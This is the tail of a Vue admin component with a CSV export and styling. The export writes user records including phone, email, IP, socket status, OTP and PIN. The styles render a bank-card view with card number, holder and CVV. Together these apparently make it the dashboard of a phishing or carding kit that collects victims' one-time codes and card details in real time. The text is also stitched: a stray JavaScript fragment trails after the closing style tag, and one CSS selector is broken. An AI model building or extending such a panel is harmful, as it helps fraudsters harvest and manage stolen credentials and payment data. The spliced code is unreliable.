    // 导出为CSV
    exportToCSV(data) {
      if (!data || data.length === 0) {
        this.$message.warning('没有可导出的数据')
        return
      }

      // CSV表头
      const headers = ['用户ID', '用户信息', '状态', '在线状态', 'Socket ID', 'IP', 'OTP', 'PIN', '创建时间', '更新时间', '备注']

      // CSV数据行
      const rows = data.map(row => {
        // 构建用户信息字符串：姓名、手机、邮箱
        const userInfoParts = []
        const name = ((row.first_name || '') + ' ' + (row.last_name || '')).trim()
        if (name) userInfoParts.push(name)
        if (row.phone) userInfoParts.push(`手机: ${row.phone}`)
        if (row.email) userInfoParts.push(`邮箱: ${row.email}`)
        const userInfo = userInfoParts.length > 0 ? userInfoParts.join(' | ') : '-'

        return [
          row.user_id || row.userid || '',
          userInfo,
          this.getStatusText(row.status),
          row.socket_online === '1' || row.socket_online === 1 ? '在线' : '离线',
          row.socket_id || '',
          row.from_ip || '',
          row.otp || '',
          row.pin || '',
          row.create_at || '',
          row.update_at || '',
          row.remark || ''
        ]
      })

      // 生成CSV内容
      const csvContent = [
        headers.join(','),
        ...rows.map(row => row.map(cell => `"${cell}"`).join(','))
      ].join('\n')

      // 添加BOM以支持中文
      const BOM = '\uFEFF'
      const blob = new Blob([BOM + csvContent], { type: 'text/csv;charset=utf-8;' })

      // 创建下载链接
      const link = document.createElement('a')
      const url = URL.createObjectURL(blob)
      link.setAttribute('href', url)
      link.setAttribute('download', `订单数据_${new Date().getTime()}.csv`)
      link.style.visibility = 'hidden'
      document.body.appendChild(link)
      link.click()
      document.body.removeChild(link)

      this.$message.success('导出成功')
    },
    // 关闭用户信息弹窗
    handleCloseDialog() {
      this.detailDialogVisible = false
      this.currentRow = null
    }
  }
}
</script>

  <style>
  .search-filter {
  margin: 10px;
}

  .sortable-ghost{
    opacity: .8;
    color: #fff!important;
    background: #42b983!important;
  }
  </style>

  <style scoped>
  .icon-star{
    margin-right:2px;
  }
  .drag-handler{
    width: 20px;
    height: 20px;
    cursor: pointer;
  }
  .show-d{
    margin-top: 15px;
  }

  /* 用户详情弹窗样式 */
  .user-detail {
    padding: 10px;
  }

  .detail-container {
    display: flex;
    gap: 30px;
  }

  .user-info {
    flex: 1;
  }

  .info-row {
    display: flex;
    padding: 10px 0;
    border-bottom: 1px solid #f0f0f0;
  }

  .info-row .label {
    width: 100px;
    color: #666;
    font-weight: 500;
  }

  .info-row .value {
    flex: 1;
    color: #333;
    word-break: break-all;
  }

  .card-info {
    width: 380px;
    display: flex;
    flex-direction: column;
  }

  .card-fields {
    margin-bottom: 20px;
  }

  .field-row {
    display: flex;
    padding: 8px 0;
    border-bottom: 1px solid #f0f0f0;
  }

  .field-row .label {
    width: 80px;
    color: #666;
    font-weight: 500;
  }

  .field-row .value {
    flex: 1;
    color: #333;
  }

  /* 银行卡样式 */
  .credit-card {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    border-radius: 15px;
    padding: 25px;
    color: white;
    box-shadow: 0 10px 20px rgba(0, 0, 0, 0.2);
    min-height: 200px;
    position: relative;
  }

  .card-chip {
    margin-bottom: 10px;
  }
  .history-card{
    background: #e5e5e5;
    color: #333;
    padding: 10px;
    border-radius: 10px;
    margin-bottom: 10px;
    cursor: pointer;

  }

  .card-number {
    font-size: 24px;
    font-weight: 600;
    letter-spacing: 2px;
    margin-bottom: 25px;
    text-align: center;
  }
  .card-details {
        text-align: center;
        position: relative;
    }
    .card-holder{
      text-align: center;
      margin-bottom: 20px;
    }
    .card-cvv{
      position: absolute;
      top: 0;
      right: 10px
    }
    .card-label
  .card-right{
    display: flex;
  }
  .card-cvv{
    margin-right: 10px;
  }

  .card-label {
    font-size: 10px;
    opacity: 0.8;
    margin-bottom: 5px;
    text-transform: uppercase;
  }

  .card-value {
    font-size: 24px;
    font-weight: 600;
  }
  </style>
      if (command === 'pinTop') {
        this.handleBatchPinTop()
        return
      }
